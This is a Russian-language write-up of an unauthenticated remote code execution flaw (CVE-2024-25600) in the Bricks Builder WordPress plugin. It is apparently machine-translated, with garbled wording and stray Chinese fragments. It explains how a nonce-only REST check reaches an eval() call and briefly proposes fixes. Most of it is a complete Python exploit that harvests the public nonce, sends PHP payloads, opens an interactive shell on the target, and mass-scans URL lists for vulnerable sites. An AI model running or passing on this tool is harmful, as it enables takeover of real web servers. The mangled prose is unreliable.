Bricks <= 1.9.6 Уязвимость к удаленному выполнению кода без аутентификации. (RCE) изатака,это означаетлюбойМожет запускать произвольные команды и захватывать сайт./сервер。
Затронутые плагины: Bricks Builder.
Версия уязвимости:<=1.9.6
Версия патча: 1.9.6.1
Класс Bricks\Query используется для управления отображением после запроса WordPress POST.
Он содержит следующие хрупкие методы
public static function prepare_query_vars_from_settings( $settings = [], $fallback_element_id = '' )
{
// CUT OUT FOR CLARITY
$execute_user_code = function () use ( $php_query_raw ) {
$user_result = null; // Initialize a variable to capture the result of user code
// Capture user code output using output buffering
ob_start();
$user_result = eval( $php_query_raw ); // Execute the user code
ob_get_clean(); // Get the captured output
return $user_result; // Return the user code result
};
// CUT OUT FOR CLARITY
}
Среди них $user_result = eval($php_query_raw); $php_query_raw передается функции eval, что очень опасно.
Чтобы воспользоваться этим, нам нужно найти способ, с помощью которого Bricks может вызывать приведенный выше код, используя управляемый пользователем ввод $php_query_raw.
Долженprepare_query_vars_from_settings
Методы всегда находятся в классеиз Вызывается в конструктореBricks\Query
。
Этот класс используется и создается во многих местах.
Нецелесообразно проверять каждый вызываемый метод, но вы можете сосредоточиться на Bricks\Ajax::render_element($element)
Bricks использует его для предварительного просмотра редактора. Общий контент выглядит следующим образом. Я удалил ненужный контент.
$loop_element = ! empty( $element['loopElement'] ) ? $element['loopElement'] : false;
$element = $element['element'];
if ( ! empty( $loop_element ) ) {
$query = new Query( $loop_element );
// CUT FOR BREVITY
}
$element_name = ! empty( $element['name'] ) ? $element['name'] : '';
$element_class_name = isset( Elements::$elements[ $element_name ]['class'] ) ? Elements::$elements[ $element_name ]['class'] : false;
if ( class_exists( $element_class_name ) ) {
$element_instance = new $element_class_name( $element );
}
Этот метод создает новый экземпляр Query, используя предоставленные параметры, или напрямую создает класс Query в строке 5.
Его также можно найти в 14 линия создает/отрисовывает любые Brick элемент builder, опустив " loopElement ” и передайте номер .php «Имя» элемента файла.
Многие из этих классов элементов также вызывают метод new Query() ниже по течению. Существует также элемент кода, который можно использовать для устранения этой уязвимости, но в этой статье мы сосредоточимся на пути к коду в строке 5.
Этот метод можно вызвать через конечную точку admin-ajax.php и Rest API WordPress.
Кроме того, включена следующая логика проверки разрешений.
if ( bricks_is_ajax_call() && isset( $_POST ) ) {
self::verify_request();
}
elseif ( bricks_is_rest_call() ) {
// REST API (Permissions checked in the API->render_element_permissions_check())
}
Ajax::verify_request()
将исследовать当前用户是否有权访问 Bricks Builder (os: это также не работает, поскольку пользователи с низким уровнем привилегий также могут иметь доступ
Однако, если пройдет REST API вызвать этот метод,Ajax::verify_request()
не будетвызов.
Комментарии к коду:
REST API (в API->render_element_permissions_check() Проверьте разрешения)
Указывает, выполняется ли эта проверка в обратном вызове разрешений REST API WP.
// Server-side render (SSR) for builder elements via window.fetch API requests
register_rest_route(
self::API_NAMESPACE,
'render_element',
[
'methods' => 'POST',
'callback' => [ $this, 'render_element' ],
'permission_callback' => [ $this, 'render_element_permissions_check' ],
]
);
но,исследоватьrender_element_permission_checkметод,Мы видим, что проверка разрешений не выполняется.
Этот метод только проверяет, содержит ли запрос действительное случайное число, и WordPress 文档明确指出“Никогда не следует полагаться на случайные числа для авторизации.”:
public function render_element_permissions_check( $request ) {
$data = $request->get_json_params();
if ( empty( $data['postId'] ) || empty( $data['element'] ) || empty( $data['nonce'] ) ) {
return new \WP_Error( 'bricks_api_missing', __( 'Missing parameters' ), [ 'status' => 400 ] );
}
$result = wp_verify_nonce( $data['nonce'], 'bricks-nonce' );
if ( ! $result ) {
return new \WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie check failed' ), [ 'status' => 403 ] );
}
return true;
}
Таким образом, единственное оставшееся предварительное условие — получить действительный одноразовый номер с помощью операции «bricks-nonce».
Даже если пользователь не аутентифицирован, Bricks будет выводить действительный одноразовый номер для каждого запроса во внешнем интерфейсе. Это можно увидеть в отрисованном HTML-коде домашней страницы веб-сайта ниже.
Существует тег сценария, который содержит " bricksData
”объект,Этот объект, помимо прочего, содержит действительное случайное число.
Быстрые исправления сложны,потому чтоeval
изпользовательский вводиз Функциональность используется в бэкэндеизнесколько частей
Конечно, быстрое решение — добавить правильные проверки разрешений к конечной точке REST API. Но при этом опасная функция по-прежнему остается открытой, и ее, скорее всего, будут вызывать другими способами.
В принципелюбой不应Должен将任何内容传递到eval
.
По крайней мере, Кирпичи использоватьизв базе кодаиз Два примераeval
(Классы запросов и классы блоков кода)应Должен完全防范未经授权из、Доступ без администратора,И вводимые данные должны быть строго проверены.
Решение состоит в том, чтобы сохранить подпись вместе с кодом, который будет оцениваться с помощью wp_hash(). Таким образом, во время выполнения вы гарантируете, что никто не сможет внедрить код в базу данных.
Интерактивная оболочка предоставлена мастером на github, который я также использую при локальном воспроизведении.
import re
import warnings
import argparse
import requests
from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed
warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
"ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class Code:
def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
self.url = url
self.pretty = pretty
self.verbose = verbose
self.console = Console()
self.only_rce = only_rce
self.nonce = self.fetch_nonce()
self.payload_type = payload_type
def fetch_nonce(self):
try:
response = requests.get(self.url, verify=False, timeout=20)
response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
script_tag = soup.find("script", id="bricks-scripts-js-extra")
if script_tag:
match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
if match:
return match.group(1)
except Exception:
pass
def send_request(self, postId="1", command="whoami"):
headers = {"Content-Type": "application/json"}
payload_command = f'throw new Exception(`{command}` . "END");'
base_element = {
"postId": postId,
"nonce": self.nonce,
}
query_settings = {
"useQueryEditor": True,
"queryEditor": payload_command,
}
payload_templates = {
"carousel": {
**base_element,
"element": {
"name": "carousel",
"settings": {"type": "posts", "query": query_settings},
},
},
"container": {
**base_element,
"element": {
"name": "container",
"settings": {"hasLoop": "true", "query": query_settings},
},
},
"generic": {
**base_element,
"element": "1",
"loopElement": {
"settings": {"query": query_settings},
},
},
"code": {
**base_element,
"element": {
"name": "code",
"settings": {
"executeCode": "true",
"code": f"<?php {payload_command} ?>",
},
},
},
}
json_data = payload_templates.get(self.payload_type)
if self.pretty:
endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
else:
endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"
req = requests.post(
endpoint,
headers=headers,
json=json_data,
verify=False,
timeout=20,
)
return req
def process_response(self, response):
if response and response.status_code == 200:
try:
json_response = response.json()
html_content = json_response.get("data", {}).get("html", None)
except ValueError:
html_content = response.text
if html_content:
match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
if extracted_text == "":
return True, html_content, False
else:
return True, extracted_text, True
else:
return True, html_content, False
return False, None, False
def interactive_shell(self):
session = PromptSession(history=InMemoryHistory())
self.custom_print("Shell is ready, please type your commands UwU", "!")
while True:
try:
cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
match cmd.lower():
case "exit":
break
case "clear":
self.console.clear()
case _:
response = self.send_request(command=cmd)
(
is_vuln,
response_content,
regex_success,
) = self.process_response(response)
if is_vuln and regex_success:
print(response_content, "\n")
else:
self.custom_print(
"No valid response received or target not vulnerable.",
"-",
)
except KeyboardInterrupt:
break
def check_vulnerability(self):
try:
response = self.send_request()
is_vuln, content, regex_success = self.process_response(response)
if is_vuln:
if regex_success:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
"+",
)
else:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
"!",
) if not self.only_rce else None
return True, content, regex_success
else:
self.custom_print(
f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
) if self.verbose else None
return False, None, False
except Exception as e:
self.custom_print(
f"Error checking vulnerability: {e}", "-"
) if self.verbose else None
return False, None, False
def custom_print(self, message: str, header: str) -> None:
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
self.console.print(
f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
)
def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
code_instance = Code(
url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
)
if code_instance.nonce:
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and (not only_rce or is_rce_success):
if output_file:
with open(output_file, "a") as file:
file.write(f"{url}\n")
return True
return False
def main():
parser = argparse.ArgumentParser(
description="Check for CVE-2024-25600 vulnerability"
)
parser.add_argument(
"--url", "-u", help="URL to fetch nonce from and check vulnerability"
)
parser.add_argument(
"--list",
"-l",
help="Path to a file containing a list of URLs to check for vulnerability",
default=None,
)
parser.add_argument(
"--output",
"-o",
help="File to write vulnerable URLs to",
default=None,
)
parser.add_argument(
"--payload-type",
"-p",
choices=["carousel", "container", "generic", "code"],
default="code",
help="Type of payload to send (generic, code, carousel or container)",
)
parser.add_argument(
"--only-rce",
action="store_true",
help="Only display and record URLs where RCE is confirmed",
)
parser.add_argument(
"--pretty",
action="store_true",
help="Use pretty URLs (e.g., /wp-json/...) for requests",
)
args = parser.parse_args()
if args.list:
urls = []
with open(args.list, "r") as file:
urls = [line.strip() for line in file.readlines()]
with alive_bar(len(urls), enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=100) as executor:
future_to_url = {
executor.submit(
scan_url,
url,
args.payload_type,
args.output,
args.only_rce,
args.pretty,
): url
for url in urls
}
for future in as_completed(future_to_url):
future_to_url[future]
try:
future.result()
except Exception:
pass
finally:
bar()
elif args.url:
code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
if code_instance.nonce:
code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and is_rce_success:
code_instance.interactive_shell()
elif is_vuln and not args.only_rce:
code_instance.custom_print(f"Debug:\n{html_content}", "!")
else:
code_instance.custom_print(f"No vulnerability found.", "-")
else:
code_instance.custom_print("Nonce not found.", "-")
else:
parser.print_help()
if __name__ == "__main__":
main()